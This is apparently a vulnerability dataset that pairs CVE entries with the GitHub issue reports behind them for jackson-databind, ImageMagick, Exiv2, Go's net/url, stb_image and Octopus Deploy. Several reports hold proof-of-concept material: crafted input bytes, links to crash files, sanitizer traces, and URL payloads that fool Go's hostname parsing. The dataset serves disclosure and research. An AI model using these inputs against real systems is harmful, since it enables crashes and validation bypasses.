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CVE-2019-14439 | 2019-07-30T11:15:11.123 | A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9.2. This occurs when Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has the logback jar in the classpath. | {
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"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"FasterXML",
"jackson-databind"
] | Another gadget type report regarding logback/JNDI.
Mitre id: CVE-2019-14439
Reporter: [email protected] (Badcode of Knownsec 404 Team)
-----
Fixed in:
* 2.9.10
* 2.8.11.4
* 2.7.9.6
* 2.6.7.3
| Block one more gadget type (logback, CVE-2019-14439) | https://api.github.com/repos/FasterXML/jackson-databind/issues/2389/comments | 8 | 2019-07-24T18:19:41Z | 2019-10-16T04:55:27Z | https://github.com/FasterXML/jackson-databind/issues/2389 | 472,427,288 | 2,389 |
CVE-2019-14525 | 2019-08-05T12:15:11.957 | In Octopus Deploy 2019.4.0 through 2019.6.x before 2019.6.6, and 2019.7.x before 2019.7.6, an authenticated system administrator is able to view sensitive values by visiting a server configuration page or making an API call. | {
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Relates to OctopusDeploy/OctopusDeploy#4178 | Fix some sensitive value handling in the server config API/portal UI - LTS | https://api.github.com/repos/OctopusDeploy/Issues/issues/5753/comments | 2 | 2019-08-02T02:16:28Z | 2020-05-18T06:38:28Z | https://github.com/OctopusDeploy/Issues/issues/5753 | 475,964,410 | 5,753 |
CVE-2019-14525 | 2019-08-05T12:15:11.957 | In Octopus Deploy 2019.4.0 through 2019.6.x before 2019.6.6, and 2019.7.x before 2019.7.6, an authenticated system administrator is able to view sensitive values by visiting a server configuration page or making an API call. | {
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CVE-2019-14981 | 2019-08-12T23:15:11.600 | In ImageMagick 7.x before 7.0.8-41 and 6.x before 6.9.10-41, there is a divide-by-zero vulnerability in the MeanShiftImage function. It allows an attacker to cause a denial of service by sending a crafted file. | {
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"ImageMagick",
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In line 2259, it assgin 'count=0', the code make a loop as 'for (v=(-((ssize_t) height/2)); v <= (((ssize_t) height/2)); v++)' , the 'count++' in this loop and the 'gamma=1.0/count' in line 2291. But the count is 0 in some cases. It may happen DIVIDE_BY_ZERO bug if the code don't get in this loop.
| DIVIDE_BY_ZERO in feature.c | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1552/comments | 2 | 2019-04-18T06:16:56Z | 2019-08-18T16:30:47Z | https://github.com/ImageMagick/ImageMagick/issues/1552 | 434,607,141 | 1,552 |
CVE-2019-14982 | 2019-08-12T23:15:11.663 | In Exiv2 before v0.27.2, there is an integer overflow vulnerability in the WebPImage::getHeaderOffset function in webpimage.cpp. It can lead to a buffer overflow vulnerability and a crash. | {
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] | github.com | [
"Exiv2",
"exiv2"
] | **Describe the bug**
I found a buffer overflow bugs in exiv2/src/webpimage.cpp:837 due to integer overflow.
**To Reproduce**
Steps to reproduce the behaviour:
exiv2/build/bin/exiv2 exiv2_getHeaderOffset.poc
**Expected behavior**
In Exiv2::WebPImage::getHeaderOffset, integer overflow occurs when data_size is less than header_size, and it will cause buffer overflow in '&data[i]'.
```
#0 0x00007ffff784ce88 in Exiv2::WebPImage::getHeaderOffset (this=<optimized out>, data=0x71a2e0 "\300\\\310\366\377\177", data_size=0x0, header_size=0x4, header=<optimized out>) at /data/Exiv2_AFL/exiv2/src/webpimage.cpp:837
#1 Exiv2::WebPImage::decodeChunks (this=<optimized out>, filesize=<optimized out>) at /data/Exiv2_AFL/exiv2/src/webpimage.cpp:632
#2 0x00007ffff784b2e0 in Exiv2::WebPImage::readMetadata (this=0x719820) at /data/Exiv2_AFL/exiv2/src/webpimage.cpp:508
#3 0x000000000049d59d in Action::Print::printSummary (this=0x71a950) at /data/Exiv2_AFL/exiv2/src/actions.cpp:260
#4 0x000000000049cf30 in Action::Print::run (this=0x71a950, Python Exception <class 'gdb.error'> There is no member named _M_dataplus.:
path=) at /data/Exiv2_AFL/exiv2/src/actions.cpp:215
#5 0x00000000004094e6 in main (argc=<optimized out>, argc@entry=0x2, argv=<optimized out>, argv@entry=0x7fffffffe6c8) at /data/Exiv2_AFL/exiv2/src/exiv2.cpp:77
#6 0x00007ffff68bbb97 in __libc_start_main (main=0x408b30 <main(int, char* const*)>, argc=0x2, argv=0x7fffffffe6c8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe6b8) at ../csu/libc-start.c:310
#7 0x0000000000408a6a in _start ()
0x7ffff784ce77 <Exiv2::WebPImage::decodeChunks(long)+4279>: mov rcx,QWORD PTR [rsp+0x8]
0x7ffff784ce7c <Exiv2::WebPImage::decodeChunks(long)+4284>: mov rdx,QWORD PTR [rsp]
0x7ffff784ce80 <Exiv2::WebPImage::decodeChunks(long)+4288>: lea rsp,[rsp+0x98]
=> 0x7ffff784ce88 <Exiv2::WebPImage::decodeChunks(long)+4296>: cmp DWORD PTR [rcx+rsi*1],0xe1ff01ff
0x7ffff784ce8f <Exiv2::WebPImage::decodeChunks(long)+4303>: je 0x7ffff784d858 <Exiv2::WebPImage::decodeChunks(long)+6808>
0x7ffff784ce95 <Exiv2::WebPImage::decodeChunks(long)+4309>: nop DWORD PTR [rax]
0x7ffff784ce98 <Exiv2::WebPImage::decodeChunks(long)+4312>: lea rsp,[rsp-0x98]
0x7ffff784cea0 <Exiv2::WebPImage::decodeChunks(long)+4320>: mov QWORD PTR [rsp],rdx
RCX: 0x71a2e0
RSI: 0xdd1d
```
The poc is here:
Just do 'exiv2/build/bin/exiv2 exiv2_getHeaderOffset.poc'
[exiv2_getHeaderOffset.poc.zip](https://github.com/Exiv2/exiv2/files/3390730/exiv2_getHeaderOffset.poc.zip)
| buffer overflow in exiv2/src/webpimage.cpp | https://api.github.com/repos/Exiv2/exiv2/issues/960/comments | 4 | 2019-07-15T02:53:48Z | 2019-10-28T11:28:20Z | https://github.com/Exiv2/exiv2/issues/960 | 467,920,688 | 960 |
CVE-2019-14809 | 2019-08-13T21:15:11.427 | net/url in Go before 1.11.13 and 1.12.x before 1.12.8 mishandles malformed hosts in URLs, leading to an authorization bypass in some applications. This is related to a Host field with a suffix appearing in neither Hostname() nor Port(), and is related to a non-numeric port number. For example, an attacker can compose a crafted javascript:// URL that results in a hostname of google.com. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
],
"cvssMetricV31": null
} | [
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00076.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00002.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00011.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00021.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00038.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://access.redhat.com/errata/RHSA-2019:3433"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/golang/go/issues/29098"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://groups.google.com/forum/#%21topic/golang-announce/0uuMm1BwpHE"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://groups.google.com/forum/#%21topic/golang-announce/65QixT3tcmg"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4BBP27PZGSY6OP6D26E5FW4GZKBFHNU7/"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LYO6E3H34C346D2E443GLXK7OK6KIYIQ/"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Aug/31"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2019/dsa-4503"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*",
"matchCriteriaId": "BBD0F192-5A67-48E9-9C1E-4A23148A3837",
"versionEndExcluding": "1.11.13",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
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"criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*",
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}
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}
],
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}
],
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}
] | https://github.com/golang/go/issues/29098 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"golang",
"go"
] | <!-- Please answer these questions before submitting your issue. Thanks! -->
### What version of Go are you using (`go version`)?
<pre>
$ go version
go version go1.11.2 windows/amd64
</pre>
### Does this issue reproduce with the latest release?
Yes
### What operating system and processor architecture are you using (`go env`)?
<details><summary><code>go env</code> Output</summary><br><pre>
$ go env
set GOARCH=amd64
set GOBIN=
set GOCACHE=C:\Users\wir3less\AppData\Local\go-build
set GOEXE=.exe
set GOFLAGS=
set GOHOSTARCH=amd64
set GOHOSTOS=windows
set GOOS=windows
set GOPATH=C:\Users\wir3less\go
set GOPROXY=
set GORACE=
set GOROOT=C:\Go
set GOTMPDIR=
set GOTOOLDIR=C:\Go\pkg\tool\windows_amd64
set GCCGO=gccgo
set CC=gcc
set CXX=g++
set CGO_ENABLED=1
set GOMOD=
set CGO_CFLAGS=-g -O2
set CGO_CPPFLAGS=
set CGO_CXXFLAGS=-g -O2
set CGO_FFLAGS=-g -O2
set CGO_LDFLAGS=-g -O2
set PKG_CONFIG=pkg-config
set GOGCCFLAGS=-m64 -mthreads -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=C:\Users\wir3less\AppData\Local\Temp\go-build829182294=/tmp/go-build -gno-record-gcc-switches
</pre></details>
### What did you do?
<!--
If possible, provide a recipe for reproducing the error.
A complete runnable program is good.
A link on play.golang.org is best.
-->
While playing around with URL.Parse I found a few problems I'd like to share.
I'll gladly share more details if anything is unclear or if someone is interested.
Normally, `javascript:alert(1)` when parsed by `url.parse` has no `Hostname()`
But `javascript://alert(1)` has a hostname of `alert(1)`
This can be taken further...
`javascript://%250aalert(1)+'[email protected]/a'a` has a hostname of `google.com` and will pop an alert if relocated to by a browser (after decoding)
IPV6 support also has it's issues...
this URL `http://[google.com]:80` has the hostname of `google.com`
But also do all of these:
`http://google.com]:80`
`http://google.com]:80__Anything_you'd_like_sir`
`http://[google.com]FreeTextZoneHere]:80`
Even without thinking about how this would interact with other systems and parsers,
Just considering code used URL hostname validations and Go's https functions (`http.Get()` for instance) leveraging url.parse should explain how this could be used maliciously.
Again, will be glad to provide more details if needed.
All POCs can be found here
https://play.golang.org/p/UoqEcxCFY8z
### What did you expect to see?
Errors for most of it...
### What did you see instead?
Hostnames | net/url: URL.Parse Multiple Parsing Issues | https://api.github.com/repos/golang/go/issues/29098/comments | 36 | 2018-12-04T17:21:41Z | 2022-06-23T06:24:09Z | https://github.com/golang/go/issues/29098 | 387,395,190 | 29,098 |
CVE-2019-15058 | 2019-08-14T21:15:13.687 | stb_image.h (aka the stb image loader) 2.23 has a heap-based buffer over-read in stbi__tga_load, leading to Information Disclosure or Denial of Service. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.4,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 4.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"version": "3.0"
},
"exploitabilityScore": 3.9,
"impactScore": 5.2,
"source": "[email protected]",
"type": "Primary"
}
],
"cvssMetricV31": null
} | [
{
"source": "[email protected]",
"tags": null,
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=934973"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/nothings/stb/issues/790"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://security-tracker.debian.org/tracker/CVE-2019-15058"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.cvedetails.com/cve/CVE-2019-15058/"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.mail-archive.com/debian-bugs-dist%40lists.debian.org/msg1695025.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://www.suse.com/security/cve/CVE-2019-15058/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
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"criteria": "cpe:2.3:a:stb_project:stb:2.23:*:*:*:*:*:*:*",
"matchCriteriaId": "FAC51233-5119-4F4E-B6DF-E29385B6E5D9",
"versionEndExcluding": null,
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"vulnerable": true
}
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"operator": "OR"
}
],
"operator": null
}
] | https://github.com/nothings/stb/issues/790 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"nothings",
"stb"
] | I find heap-buffer-overflow in stbi__tga_load with lastest version: 2.23
POC:
```
#define STBI_WINDOWS_UTF8
#define STB_IMAGE_WRITE_IMPLEMENTATION
#include "stb_image_write.h"
#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#define STB_DEFINE
#include "stb.h"
#include<stdio.h>
#include<stdlib.h>
unsigned char data[] =
{
0xAF, 0x01, 0x09, 0x00, 0x00, 0x00, 0x00, 0x10, 0x14, 0x0A,
0xAF, 0x00, 0xEF, 0xEF, 0xEF, 0x11, 0x10, 0xEF, 0xEB, 0xF5,
0x50, 0xFE, 0xFE, 0x09
};
int main(int argc, char **argv)
{
int x,y,n;
stbi_load_from_memory(data,sizeof(data),&x,&y,&n,4);
return 0;
}
```
In command:
```
clang -I.. ./poc.c -lm -fsanitize=address -o poc
./poc
```
Output:
```
=================================================================
==5323==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eff1 at pc 0x00000056a701 bp 0x7ffc5dd1f8d0 sp 0x7ffc5dd1f8c8
READ of size 1 at 0x60200000eff1 thread T0
#0 0x56a700 (/home/kirin/test2+0x56a700)
#1 0x561a0c (/home/kirin/test2+0x561a0c)
#2 0x4f6d8b (/home/kirin/test2+0x4f6d8b)
#3 0x4f8482 (/home/kirin/test2+0x4f8482)
#4 0x55a755 (/home/kirin/test2+0x55a755)
#5 0x7f2148e0e82f (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#6 0x418da8 (/home/kirin/test2+0x418da8)
0x60200000eff1 is located 0 bytes to the right of 1-byte region [0x60200000eff0,0x60200000eff1)
allocated by thread T0 here:
#0 0x4b8ed8 (/home/kirin/test2+0x4b8ed8)
#1 0x4fab04 (/home/kirin/test2+0x4fab04)
#2 0x577bc6 (/home/kirin/test2+0x577bc6)
#3 0x56a380 (/home/kirin/test2+0x56a380)
#4 0x561a0c (/home/kirin/test2+0x561a0c)
#5 0x4f6d8b (/home/kirin/test2+0x4f6d8b)
#6 0x4f8482 (/home/kirin/test2+0x4f8482)
#7 0x55a755 (/home/kirin/test2+0x55a755)
#8 0x7f2148e0e82f (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/kirin/test2+0x56a700)
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[01]fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==5323==ABORTING
```
Analyze this bug:
In this poc,when the program call stbi__tga_load:
```
tga_palette = (unsigned char*)stbi__malloc_mad2(tga_palette_len, tga_comp, 0);
```
It will call malloc(0) because of specific data finally
but after:
```
int pal_idx = (tga_bits_per_pixel == 8) ? stbi__get8(s) : stbi__get16le(s);
if ( pal_idx >= tga_palette_len ) {
// invalid index
pal_idx = 0;
}
pal_idx *= tga_comp;
for (j = 0; j < tga_comp; ++j) {
raw_data[j] = tga_palette[pal_idx+j];
}
```
So it will read tga_palette[pal_idx+j] which leads to heap-buffer-overflow
This may lead to the leak of the uninitialized data on the heap and so on......
In addition, there is another tip that may lead to Denial of Service:
The same exp as above but Compile without -fsanitize=address：
```
clang -I.. ./poc.c -lm -o poc
./poc
```
It will run for a very long time because of some codes in stbi__tga_load:
```
// load the data
for (i=0; i < tga_width * tga_height; ++i)
{
// if I'm in RLE mode, do I need to get a RLE stbi__pngchunk?
if ( tga_is_RLE )
{
if ( RLE_count == 0 )
......
```
tga_width * tga_heigh is determined by the image data and there is no check here.
When it is too big and the program run in remote server, it will lead to Denial of Service.
| heap-buffer-overflow and denial-of-service in stbi__tga_load with version: 2.23 | https://api.github.com/repos/nothings/stb/issues/790/comments | 4 | 2019-08-13T08:52:36Z | 2021-07-03T04:54:20Z | https://github.com/nothings/stb/issues/790 | 480,036,373 | 790 |
CVE-2019-15139 | 2019-08-18T19:15:09.637 | The XWD image (X Window System window dumping file) parsing component in ImageMagick 7.0.8-41 Q16 allows attackers to cause a denial-of-service (application crash resulting from an out-of-bounds Read) in ReadXWDImage in coders/xwd.c by crafting a corrupted XWD image file, a different vulnerability than CVE-2019-11472. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.0"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
],
"cvssMetricV31": null
} | [
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-11/msg00040.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-11/msg00042.html"
},
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
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] | https://github.com/ImageMagick/ImageMagick/issues/1553 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
When reading on XWD files ImageMagick(112760b26) may suffer from a crash caused by invalid memory read.
### Steps to Reproduce
- run `identity -verbose $FILE` or `convert $FILE /dev/null`.
- POCs:
https://github.com/ntu-sec/pocs/raw/master/imagemagick/112760b26/crashes/read_xwd.c:573_1.xwd
https://github.com/ntu-sec/pocs/raw/master/imagemagick/112760b26/crashes/read_xwd.c:573_2.xwd
- A report from an AddressSanitizer copmiled ImageMagick is like this:
```
ASAN:DEADLYSIGNAL
=================================================================
==9749==ERROR: AddressSanitizer: SEGV on unknown address 0x6020060639d6 (pc 0x7f2e39bbca6a bp 0x7ffc674ae0d0 sp 0x7ffc674ad338 T0)
==9749==The signal is caused by a READ memory access.
#0 0x7f2e39bbca69 (/usr/lib/x86_64-linux-gnu/libX11.so.6+0x27a69)
#1 0x7f2e40f77c89 in ReadXWDImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/xwd.c:573:21
#2 0x7f2e405308c9 in ReadImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:547:15
#3 0x7f2e405342d4 in ReadImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:917:9
#4 0x7f2e3fac69a4 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:644:18
#5 0x7f2e3fcae021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14
#6 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10
#7 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10
#8 0x7f2e3891fb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#9 0x41ce19 in _start (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x41ce19)
```
- Other information available [here](https://github.com/ntu-sec/pocs/tree/master/imagemagick/112760b26/crashes).
### System Configuration
- ImageMagick version: 7.0.8-41 Q16 x86_64 2019-04-20
- Environment (Operating system, version and so on): Ubuntu 18.04 LTS x86_64
- Additional information: This was firstly detected when fuzzing GraphicsMagick. | AddressSanitizer: Invalid read at xwd.c:573 | https://api.github.com/repos/ImageMagick/ImageMagick/issues/1553/comments | 2 | 2019-04-20T13:04:54Z | 2019-08-19T11:08:05Z | https://github.com/ImageMagick/ImageMagick/issues/1553 | 435,396,971 | 1,553 |
CVE-2019-15140 | 2019-08-18T19:15:09.700 | coders/mat.c in ImageMagick 7.0.8-43 Q16 allows remote attackers to cause a denial of service (use-after-free and application crash) or possibly have unspecified other impact by crafting a Matlab image file that is mishandled in ReadImage in MagickCore/constitute.c. | {
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"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
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"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
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}
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] | https://github.com/ImageMagick/ImageMagick/issues/1554 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"ImageMagick",
"ImageMagick"
] | ### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
ImageMagick convert suffers from a heap-use-after-free vulnerability.
### Steps to Reproduce
* run `convert $FILE /dev/null`
```
=================================================================
==1962==ERROR: AddressSanitizer: heap-use-after-free on address 0x62700003811c at pc 0x7f2584984c25 bp 0x7ffe24e14170 sp 0x7ffe24e14168
WRITE of size 4 at 0x62700003811c thread T0
#0 0x7f2584984c24 in ReadImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:659:16
#1 0x7f2584987a94 in ReadImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:917:9
#2 0x7f2583f5a9a4 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:644:18
#3 0x7f2584142021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14
#4 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10
#5 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10
#6 0x7f257cdb3b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#7 0x41ce19 in _start (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x41ce19)
0x62700003811c is located 28 bytes inside of 13504-byte region [0x627000038100,0x62700003b5c0)
freed by thread T0 here:
#0 0x4d22b8 in __interceptor_free.localalias.0 (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4d22b8)
#1 0x7f2584c5b8d0 in RelinquishMagickMemory /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/memory.c:1074:3
#2 0x7f2584bfa716 in DestroyImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/image.c:1225:19
#3 0x7f25850c3a8a in ReadMATImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/mat.c:1479:12
#4 0x7f2584984089 in ReadImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:547:15
#5 0x7f2584987a94 in ReadImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:917:9
#6 0x7f2583f5a9a4 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:644:18
#7 0x7f2584142021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14
#8 0x50c8a7 in MagickMain /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:149:10
#9 0x50c301 in main /home/hongxu/work/imagemagick/ImageMagick-asan/utilities/magick.c:180:10
#10 0x7f257cdb3b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
previously allocated by thread T0 here:
#0 0x4d2470 in __interceptor_malloc (/home/hongxu/work/imagemagick/ImageMagick-asan/install/bin/magick+0x4d2470)
#1 0x7f2584c59fe6 in AcquireMagickMemory /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/memory.c:478:10
#2 0x7f2584bf2d04 in AcquireCriticalMemory /home/hongxu/work/imagemagick/ImageMagick-asan/./MagickCore/memory-private.h:64:10
#3 0x7f2584bf075b in AcquireImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/image.c:172:19
#4 0x7f2584bf572b in AcquireNextImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/image.c:396:15
#5 0x7f25850c2f97 in ReadMATImage /home/hongxu/work/imagemagick/ImageMagick-asan/coders/mat.c:1391:5
#6 0x7f2584984089 in ReadImage /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:547:15
#7 0x7f2584987a94 in ReadImages /home/hongxu/work/imagemagick/ImageMagick-asan/MagickCore/constitute.c:917:9
#8 0x7f2583f5a9a4 in ConvertImageCommand /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/convert.c:644:18
#9 0x7f2584142021 in MagickCommandGenesis /home/hongxu/work/imagemagick/ImageMagick-asan/MagickWand/mogrify.c:185:14
